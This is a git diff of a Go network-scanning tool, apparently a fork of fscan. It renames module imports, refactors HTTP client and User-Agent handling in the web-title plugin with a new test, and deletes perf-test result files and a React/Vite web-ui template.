bfd8360d..6ade6ea4 100644 --- a/plugins/services/snmp_test.go +++ b/plugins/services/snmp_test.go @@ -6,7 +6,7 @@ import ( "encoding/asn1" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) // --- buildSNMPGetRequest --- diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index ca01af75..2c3ef6e8 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -12,9 +12,9 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" "golang.org/x/crypto/ssh" ) diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index eeefd88d..3284ddfd 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -11,9 +11,9 @@ import ( "sync" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // Telnet协议时间常量 diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index 2bf58369..a5c71eec 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -8,8 +8,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type TFTPPlugin struct { diff --git a/plugins/services/types.go b/plugins/services/types.go index 8a46fe92..5b477a50 100644 --- a/plugins/services/types.go +++ b/plugins/services/types.go @@ -4,8 +4,8 @@ import ( "context" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // 插件接口定义 - 统一命名风格 diff --git a/plugins/services/udp_parsers_test.go b/plugins/services/udp_parsers_test.go index a5cfd845..a69245fa 100644 --- a/plugins/services/udp_parsers_test.go +++ b/plugins/services/udp_parsers_test.go @@ -7,7 +7,7 @@ import ( "strings" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestDNSRootNSQueryAndResponse(t *testing.T) { diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index 9d6aec38..40c541f9 100644 --- a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -8,9 +8,9 @@ import ( "time" vnc "github.com/mitchellh/go-vnc" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" ) // VNCPlugin VNC扫描插件 diff --git a/plugins/services/zookeeper.go b/plugins/services/zookeeper.go index 40561b24..f1931ca0 100644 --- a/plugins/services/zookeeper.go +++ b/plugins/services/zookeeper.go @@ -7,8 +7,8 @@ import ( "strings" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) type ZooKeeperPlugin struct { diff --git a/plugins/web/types.go b/plugins/web/types.go index 483743b8..7be8b89d 100644 --- a/plugins/web/types.go +++ b/plugins/web/types.go @@ -3,8 +3,8 @@ package web import ( "context" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins" + "scanner/common" + "scanner/plugins" ) // WebPlugin Web插件接口 - 使用智能HTTP检测,不需要预定义端口 diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index c97dfede..31c80999 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -6,10 +6,10 @@ import ( "context" "strings" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/plugins" - WebScan "github.com/shadow1ng/fscan/webscan" + "scanner/common" + "scanner/common/i18n" + "scanner/plugins" + WebScan "scanner/webscan" ) // CDN/WAF指纹列表,检测到这些指纹时跳过漏洞扫描 diff --git a/plugins/web/webpoc_test.go b/plugins/web/webpoc_test.go index de181717..db34eea3 100644 --- a/plugins/web/webpoc_test.go +++ b/plugins/web/webpoc_test.go @@ -4,7 +4,7 @@ import ( "context" "testing" - "github.com/shadow1ng/fscan/common" + "scanner/common" ) func TestMatchCDNorWAF(t *testing.T) { diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 825e0499..d13faf0e 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -15,13 +15,13 @@ import ( "time" "unicode/utf8" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/i18n" - "github.com/shadow1ng/fscan/core" - "github.com/shadow1ng/fscan/plugins" - WebScan "github.com/shadow1ng/fscan/webscan" - "github.com/shadow1ng/fscan/webscan/fingerprint" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/common/i18n" + "scanner/core" + "scanner/plugins" + WebScan "scanner/webscan" + "scanner/webscan/fingerprint" + "scanner/webscan/lib" ) const maxWebTitleBodyBytes = 2 << 20 @@ -138,7 +138,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, baseURL := webTitleURL(urlScheme, info.Host, info.Port) // 选择对应的 HTTP 客户端 - clientNR, clientR := webTitleHTTPClients(isGM) + clientNR, clientR := sessionWebTitleHTTPClients(session, isGM) // 构建显示用URL(隐藏标准端口) var displayURL string @@ -155,7 +155,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, return "", 0, 0, "", nil, displayURL, err } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) // 先使用不跟随重定向的Client获取原始响应 resp, err := clientNR.Do(req) @@ -175,7 +175,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, checkDataList = append(checkDataList, WebScan.CheckDatas{ Body: body, Headers: p.formatHeaders(resp.Header), - Favicon: p.fetchFaviconHash(ctx, baseURL), + Favicon: p.fetchFaviconHashWithSession(ctx, baseURL, session), }) title := p.extractTitle(string(body)) @@ -192,7 +192,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, // 发送跟随重定向的请求 reqRedirect, err := http.NewRequestWithContext(ctx, "GET", redirectURL, nil) if err == nil { - reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + reqRedirect.Header.Set("User-Agent", common.HTTPUserAgent(config)) respRedirect, err := clientR.Do(reqRedirect) if err == nil { bodyRedirect, err := readWebTitleBody(respRedirect.Body) @@ -202,7 +202,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, checkDataList = append(checkDataList, WebScan.CheckDatas{ Body: bodyRedirect, Headers: p.formatHeaders(respRedirect.Header), - Favicon: p.fetchFaviconHash(ctx, redirectURL), + Favicon: p.fetchFaviconHashWithSession(ctx, redirectURL, session), }) // 如果原始页面没有标题,使用跳转后页面的标题 @@ -300,10 +300,21 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn } func webTitleHTTPClients(isGM bool) (*http.Client, *http.Client) { + return sessionWebTitleHTTPClients(nil, isGM) +} + +func sessionWebTitleHTTPClients(session *common.ScanSession, isGM bool) (*http.Client, *http.Client) { + if session != nil { + if isGM { + return firstHTTPClient(session.HTTPClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(session.HTTPClientGM, http.DefaultClient) + } + return firstHTTPClient(session.HTTPClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(session.HTTPClient, http.DefaultClient) + } + clients := lib.GetHTTPClientSet() if isGM { - return firstHTTPClient(lib.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(lib.ClientGM, http.DefaultClient) + return firstHTTPClient(clients.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(clients.ClientGM, http.DefaultClient) } - return firstHTTPClient(lib.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(lib.Client, http.DefaultClient) + return firstHTTPClient(clients.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(clients.Client, http.DefaultClient) } func firstHTTPClient(clients ...*http.Client) *http.Client { @@ -353,7 +364,11 @@ func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostIn host := info.Host port := info.Port - serviceInfo, exists := core.GetWebServiceInfo(host, port) + var state *common.State + if session != nil { + state = session.State + } + serviceInfo, exists := core.GetWebServiceInfoWithState(state, host, port) if exists { // 第一优先级:检查已缓存的协议检测结果 @@ -365,11 +380,6 @@ func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostIn // 注意:普通的"http"服务名不直接返回,因为可能是-u模式默认添加的协议 serviceName := strings.ToLower(serviceInfo.Name) if common.ContainsAny(serviceName, "https-gm", "https", "ssl", "tls") { - // 缓存协议信息到Extras - if serviceInfo.Extras == nil { - serviceInfo.Extras = make(map[string]string) - } - serviceInfo.Extras["protocol"] = "https" return "https" } } @@ -380,10 +390,13 @@ func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostIn if detected != "" { // 缓存检测结果(避免重复检测) if exists { - if serviceInfo.Extras == nil { - serviceInfo.Extras = make(map[string]string) + updated := *serviceInfo + updated.Extras = make(map[string]string, len(serviceInfo.Extras)+1) + for key, value := range serviceInfo.Extras { + updated.Extras[key] = value } - serviceInfo.Extras["protocol"] = detected + updated.Extras["protocol"] = detected + core.CacheServiceInfoWithState(state, host, port, &updated) } return detected } @@ -424,6 +437,10 @@ func truncateRunes(s string, maxRunes int) string { // fetchFaviconHash 下载 favicon.ico 并计算 hash func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) fingerprint.FaviconHashes { + return p.fetchFaviconHashWithSession(ctx, baseURL, nil) +} + +func (p *WebTitlePlugin) fetchFaviconHashWithSession(ctx context.Context, baseURL string, session *common.ScanSession) fingerprint.FaviconHashes { // 构造 favicon URL u, err := url.Parse(baseURL) if err != nil { @@ -436,9 +453,14 @@ func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) f if err != nil { return fingerprint.FaviconHashes{} } - req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + var config *common.Config + if session != nil { + config = session.Config + } + req.Header.Set("User-Agent", common.HTTPUserAgent(config)) - resp, err := lib.Client.Do(req) + _, client := sessionWebTitleHTTPClients(session, false) + resp, err := client.Do(req) if err != nil { return fingerprint.FaviconHashes{} } diff --git a/plugins/web/webtitle_test.go b/plugins/web/webtitle_test.go index 6d441aa3..b5723cf9 100644 --- a/plugins/web/webtitle_test.go +++ b/plugins/web/webtitle_test.go @@ -7,7 +7,8 @@ import ( "testing" "unicode/utf8" - "github.com/shadow1ng/fscan/webscan/lib" + "scanner/common" + "scanner/webscan/lib" ) type faviconRoundTripper struct { @@ -277,6 +278,28 @@ func TestFetchFaviconHashNon200(t *testing.T) { } } +func TestFetchFaviconUsesConfiguredUserAgent(t *testing.T) { + previous := lib.Client + config := common.NewConfig() + config.HTTP.UserAgent = "Scanner-Test/1.0" + session := common.NewScanSession(config, common.NewState(), &common.FlagVars{}) + + lib.Client = &http.Client{ + Transport: roundTripFunc(func(req *http.Request) (*http.Response, error) { + if got := req.UserAgent(); got != config.HTTP.UserAgent { + t.Fatalf("User-Agent = %q, want %q", got, config.HTTP.UserAgent) + } + return &http.Response{StatusCode: http.StatusNotFound, Body: http.NoBody}, nil + }), + } + defer func() { lib.Client = previous }() + + hashes := NewWebTitlePlugin().fetchFaviconHashWithSession(context.Background(), "http://example.com", session) + if len(hashes.MMH3) != 0 || len(hashes.MD5) != 0 { + t.Fatalf("non-200 favicon returned hashes: %#v", hashes) + } +} + func TestFetchFaviconHashBadURL(t *testing.T) { p := NewWebTitlePlugin() // 无效 URL 应返回空 hash,不 panic diff --git a/tests/integration/integration_test.go b/tests/integration/integration_test.go index 35166af0..f9dc2df6 100644 --- a/tests/integration/integration_test.go +++ b/tests/integration/integration_test.go @@ -9,9 +9,9 @@ import ( "testing" "time" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/common/config" - "github.com/shadow1ng/fscan/plugins/services" + "scanner/common" + "scanner/common/config" + "scanner/plugins/services" ) const ( diff --git a/tools/perftest/results/benchmarks/benchmark_chart.png b/tools/perftest/results/benchmarks/benchmark_chart.png deleted file mode 100644 index 26acc1f4..00000000 Binary files a/tools/perftest/results/benchmarks/benchmark_chart.png and /dev/null differ diff --git a/tools/perftest/results/benchmarks/benchmark_results.txt b/tools/perftest/results/benchmarks/benchmark_results.txt deleted file mode 100644 index 39009ec8..00000000 --- a/tools/perftest/results/benchmarks/benchmark_results.txt +++ /dev/null @@ -1,22 +0,0 @@ -BenchmarkCheckSum-24 659448997 1.821 ns/op 0 B/op 0 allocs/op -BenchmarkArrayCountValueTop-24 4047 257006 ns/op 329822 B/op 5040 allocs/op -BenchmarkTCPDial-24 4596 473517 ns/op 2424 B/op 27 allocs/op -BenchmarkResultCollectorAdd-24 31689693 42.06 ns/op 99 B/op 0 allocs/op -BenchmarkResultCollectorAddParallel-24 16319025 73.03 ns/op 99 B/op 0 allocs/op -BenchmarkResultCollectorGetAll-24 501963 2320 ns/op 16384 B/op 1 allocs/op -BenchmarkFailedPortCollectorAdd-24 18020209 72.26 ns/op 218 B/op 0 allocs/op -BenchmarkEstimateScanTime-24 1000000000 0.1474 ns/op 0 B/op 0 allocs/op -BenchmarkCalculateTotalTasks-24 345832 3346 ns/op 0 B/op 0 allocs/op -BenchmarkBuildExcludeMap-24 8549785 143.4 ns/op 328 B/op 3 allocs/op -ok github.com/shadow1ng/fscan/core 14.384s -BenchmarkDecodePattern-24 23028650 44.72 ns/op 56 B/op 3 allocs/op -BenchmarkDecodePattern_Complex-24 8355910 144.3 ns/op 40 B/op 13 allocs/op -ok github.com/shadow1ng/fscan/core/portfinger 3.008s -BenchmarkParseIPCIDR24-24 40768 29300 ns/op 57881 B/op 294 allocs/op -BenchmarkParseIPCIDR16-24 829 1394559 ns/op 2692984 B/op 10122 allocs/op -BenchmarkParseIPRange-24 42494 28765 ns/op 57816 B/op 289 allocs/op -BenchmarkParseIPSingle-24 15086103 76.51 ns/op 64 B/op 4 allocs/op -BenchmarkParsePortRange-24 303 4050534 ns/op 10277983 B/op 585 allocs/op -BenchmarkParsePortList-24 1667944 700.6 ns/op 968 B/op 14 allocs/op -BenchmarkParsePortCommon-24 1007536 1237 ns/op 1672 B/op 16 allocs/op -ok github.com/shadow1ng/fscan/common/parsers 11.298s diff --git a/tools/perftest/results/benchmarks/benchmark_tradeoff.png b/tools/perftest/results/benchmarks/benchmark_tradeoff.png deleted file mode 100644 index 26a8d47b..00000000 Binary files a/tools/perftest/results/benchmarks/benchmark_tradeoff.png and /dev/null differ diff --git a/tools/perftest/results/cloudflare_anycast/perf_results.csv b/tools/perftest/results/cloudflare_anycast/perf_results.csv deleted file mode 100644 index 6a076d69..00000000 --- a/tools/perftest/results/cloudflare_anycast/perf_results.csv +++ /dev/null @@ -1,11 +0,0 @@ -"threads","duration_sec","ports_per_sec","total_ports" -"200","30.221","42","1270" -"400","19.124","66.4","1270" -"600","16.162","78.6","1270" -"800","14.099","90.1","1270" -"1000","12.127","104.7","1270" -"1500","12.102","104.9","1270" -"2000","12.114","104.8","1270" -"3000","12.122","104.8","1270" -"4000","12.074","105.2","1270" -"5000","12.116","104.8","1270" diff --git a/tools/perftest/results/cloudflare_anycast/scalability.png b/tools/perftest/results/cloudflare_anycast/scalability.png deleted file mode 100644 index 6be68545..00000000 Binary files a/tools/perftest/results/cloudflare_anycast/scalability.png and /dev/null differ diff --git a/tools/perftest/results/internal_metrics/internal_metrics_chart.png b/tools/perftest/results/internal_metrics/internal_metrics_chart.png deleted file mode 100644 index 4641b0c7..00000000 Binary files a/tools/perftest/results/internal_metrics/internal_metrics_chart.png and /dev/null differ diff --git a/tools/perftest/results/internal_metrics/precise_results.csv b/tools/perftest/results/internal_metrics/precise_results.csv deleted file mode 100644 index 8498aebc..00000000 --- a/tools/perftest/results/internal_metrics/precise_results.csv +++ /dev/null @@ -1,8 +0,0 @@ -"threads","duration_ms","packets_per_sec","total_packets","tcp_success","tcp_failed","success_rate" -200,29330,43.3,1270,759,511,59.8 -400,18730,67.8,1270,759,511,59.8 -600,15270,83.2,1270,759,511,59.8 -800,13090,97.2,1270,759,511,59.8 -1000,11660,109.0,1270,759,511,59.8 -1500,11500,110.9,1270,759,511,59.8 -2000,11900,106.8,1270,759,511,59.8 diff --git a/tools/perftest/results/internal_metrics/scalability_chart.png b/tools/perftest/results/internal_metrics/scalability_chart.png deleted file mode 100644 index 44a72539..00000000 Binary files a/tools/perftest/results/internal_metrics/scalability_chart.png and /dev/null differ diff --git a/tools/perftest/results/param_tests/mt_results.csv b/tools/perftest/results/param_tests/mt_results.csv deleted file mode 100644 index ea0a4e29..00000000 --- a/tools/perftest/results/param_tests/mt_results.csv +++ /dev/null @@ -1,6 +0,0 @@ -"module_threads","duration_ms","packets_per_sec","tcp_success","tcp_failed","success_rate" -"5","15211","83.49","759","511","59.76" -"10","15253","83.26","759","511","59.76" -"20","15221","83.44","759","511","59.76" -"50","15254","83.26","759","511","59.76" -"100","15217","83.46","759","511","59.76" diff --git a/tools/perftest/results/param_tests/param_test_chart.png b/tools/perftest/results/param_tests/param_test_chart.png deleted file mode 100644 index c66e42ad..00000000 Binary files a/tools/perftest/results/param_tests/param_test_chart.png and /dev/null differ diff --git a/tools/perftest/results/param_tests/time_optimization_chart.png b/tools/perftest/results/param_tests/time_optimization_chart.png deleted file mode 100644 index 889fcdf4..00000000 Binary files a/tools/perftest/results/param_tests/time_optimization_chart.png and /dev/null differ diff --git a/tools/perftest/results/param_tests/time_results.csv b/tools/perftest/results/param_tests/time_results.csv deleted file mode 100644 index 7aa719ab..00000000 --- a/tools/perftest/results/param_tests/time_results.csv +++ /dev/null @@ -1,5 +0,0 @@ -"time_seconds","duration_ms","packets_per_sec","tcp_success","tcp_failed","success_rate" -"1","13110","96.87","759","511","59.76" -"2","13295","95.52","759","511","59.76" -"3","15231","83.38","759","511","59.76" -"5","16451","77.20","759","511","59.76" diff --git a/web-ui/.gitignore b/web-ui/.gitignore deleted file mode 100644 index a547bf36..00000000 --- a/web-ui/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* -lerna-debug.log* - -node_modules -dist -dist-ssr -*.local - -# Editor directories and files -.vscode/* -!.vscode/extensions.json -.idea -.DS_Store -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? diff --git a/web-ui/README.md b/web-ui/README.md deleted file mode 100644 index d2e77611..00000000 --- a/web-ui/README.md +++ /dev/null @@ -1,73 +0,0 @@ -# React + TypeScript + Vite - -This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules. - -Currently, two official plugins are available: - -- [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react) uses [Babel](https://babeljs.io/) (or [oxc](https://oxc.rs) when used in [rolldown-vite](https://vite.dev/guide/rolldown)) for Fast Refresh -- [@vitejs/plugin-react-swc](https://github.com/vitejs/vite-plugin-react/blob/main/packages/plugin-react-swc) uses [SWC](https://swc.rs/) for Fast Refresh - -## React Compiler - -The React Compiler is not enabled on this template because of its impact on dev & build performances. To add it, see [this documentation](https://react.dev/learn/react-compiler/installation). - -## Expanding the ESLint configuration - -If you are developing a production application, we recommend updating the configuration to enable type-aware lint rules: - -```js -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - // Other configs... - - // Remove tseslint.configs.recommended and replace with this - tseslint.configs.recommendedTypeChecked, - // Alternatively, use this for stricter rules - tseslint.configs.strictTypeChecked, - // Optionally, add this for stylistic rules - tseslint.configs.stylisticTypeChecked, - - // Other configs... - ], - languageOptions: { - parserOptions: { - project: ['./tsconfig.node.json', './tsconfig.app.json'], - tsconfigRootDir: import.meta.dirname, - }, - // other options... - }, - }, -]) -``` - -You can also install [eslint-plugin-react-x](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-x) and [eslint-plugin-react-dom](https://github.com/Rel1cx/eslint-react/tree/main/packages/plugins/eslint-plugin-react-dom) for React-specific lint rules: - -```js -// eslint.config.js -import reactX from 'eslint-plugin-react-x' -import reactDom from 'eslint-plugin-react-dom' - -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - // Other configs... - // Enable lint rules for React - reactX.configs['recommended-typescript'], - // Enable lint rules for React DOM - reactDom.configs.recommended, - ], - languageOptions: { - parserOptions: { - project: ['./tsconfig.node.json', './tsconfig.app.json'], - tsconfigRootDir: import.meta.dirname, - }, - // other options... - }, - }, -]) -``` diff --git a/web-ui/eslint.config.js b/web-ui/eslint.config.js deleted file mode 100644 index 5e6b472f..00000000 --- a/web-ui/eslint.config.js +++ /dev/null @@ -1,23 +0,0 @@ -import js from '@eslint/js' -import globals from 'globals' -import reactHooks from 'eslint-plugin-react-hooks' -import reactRefresh from 'eslint-plugin-react-refresh' -import tseslint from 'typescript-eslint' -import { defineConfig, globalIgnores } from 'eslint/config' - -export default defineConfig([ - globalIgnores(['dist']), - { - files: ['**/*.{ts,tsx}'], - extends: [ - js.configs.recommended, - tseslint.configs.recommended, - reactHooks.configs.flat.recommended, - reactRefresh.configs.vite, - ], - languageOptions: { - ecmaVersion: 2020, - globals: globals.browser, - }, - }, -]) diff --git a/web-ui/index.html b/web-ui/index.html deleted file mode 100644 index af1d0668..00000000 --- a/web-ui/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - web-ui - - -
- - - diff --git a/web-ui/package-lock.json b/web-ui/package-lock.json deleted file mode 100644 index deaa0502..00000000 --- a/web-ui/package-lock.json +++ /dev/null @@ -1,5946 +0,0 @@ -{ - "name": "web-ui", - "version": "0.0.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "web-ui", - "version": "0.0.0", - "dependencies": { - "@radix-ui/react-alert-dialog": "^1.1.15", - "@radix-ui/react-collapsible": "^1.1.12", - "@radix-ui/react-dialog": "^1.1.15", - "@radix-ui/react-dropdown-menu": "^2.1.16", - "@radix-ui/react-label": "^2.1.8", - "@radix-ui/react-progress": "^1.1.8", - "@radix-ui/react-scroll-area": "^1.2.10", - "@radix-ui/react-select": "^2.2.6", - "@radix-ui/react-separator": "^1.1.8", - "@radix-ui/react-slot": "^1.2.4", - "@radix-ui/react-switch": "^1.2.6", - "@radix-ui/react-tabs": "^1.1.13", - "@radix-ui/react-tooltip": "^1.2.8", - "@rollup/rollup-linux-x64-gnu": "^4.61.1", - "class-variance-authority": "^0.7.1", - "clsx": "^2.1.1", - "i18next": "^25.7.3", - "lucide-react": "^0.562.0", - "react": "^19.2.0", - "react-dom": "^19.2.0", - "react-i18next": "^16.5.0", - "react-router-dom": "^7.11.0", - "recharts": "^3.6.0", - "tailwind-merge": "^3.4.0", - "tailwindcss-animate": "^1.0.7" - }, - "devDependencies": { - "@eslint/js": "^9.39.1", - "@types/node": "^24.10.4", - "@types/react": "^19.2.5", - "@types/react-dom": "^19.2.3", - "@vitejs/plugin-react": "^5.1.1", - "autoprefixer": "^10.4.23", - "eslint": "^9.39.1", - "eslint-plugin-react-hooks": "^7.0.1", - "eslint-plugin-react-refresh": "^0.4.24", - "globals": "^16.5.0", - "postcss": "^8.5.6", - "tailwindcss": "^3.4.19", - "typescript": "~5.9.3", - "typescript-eslint": "^8.46.4", - "vite": "^7.2.4" - } - }, - "node_modules/@alloc/quick-lru": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", - "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@babel/code-frame": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", - "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-validator-identifier": "^7.27.1", - "js-tokens": "^4.0.0", - "picocolors": "^1.1.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/compat-data": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", - "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/core": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", - "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/generator": "^7.28.5", - "@babel/helper-compilation-targets": "^7.27.2", - "@babel/helper-module-transforms": "^7.28.3", - "@babel/helpers": "^7.28.4", - "@babel/parser": "^7.28.5", - "@babel/template": "^7.27.2", - "@babel/traverse": "^7.28.5", - "@babel/types": "^7.28.5", - "@jridgewell/remapping": "^2.3.5", - "convert-source-map": "^2.0.0", - "debug": "^4.1.0", - "gensync": "^1.0.0-beta.2", - "json5": "^2.2.3", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/babel" - } - }, - "node_modules/@babel/generator": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", - "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.28.5", - "@babel/types": "^7.28.5", - "@jridgewell/gen-mapping": "^0.3.12", - "@jridgewell/trace-mapping": "^0.3.28", - "jsesc": "^3.0.2" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-compilation-targets": { - "version": "7.27.2", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", - "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/compat-data": "^7.27.2", - "@babel/helper-validator-option": "^7.27.1", - "browserslist": "^4.24.0", - "lru-cache": "^5.1.1", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-globals": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-imports": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", - "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/traverse": "^7.27.1", - "@babel/types": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-transforms": { - "version": "7.28.3", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", - "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-module-imports": "^7.27.1", - "@babel/helper-validator-identifier": "^7.27.1", - "@babel/traverse": "^7.28.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-plugin-utils": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", - "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-string-parser": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - "integrity": 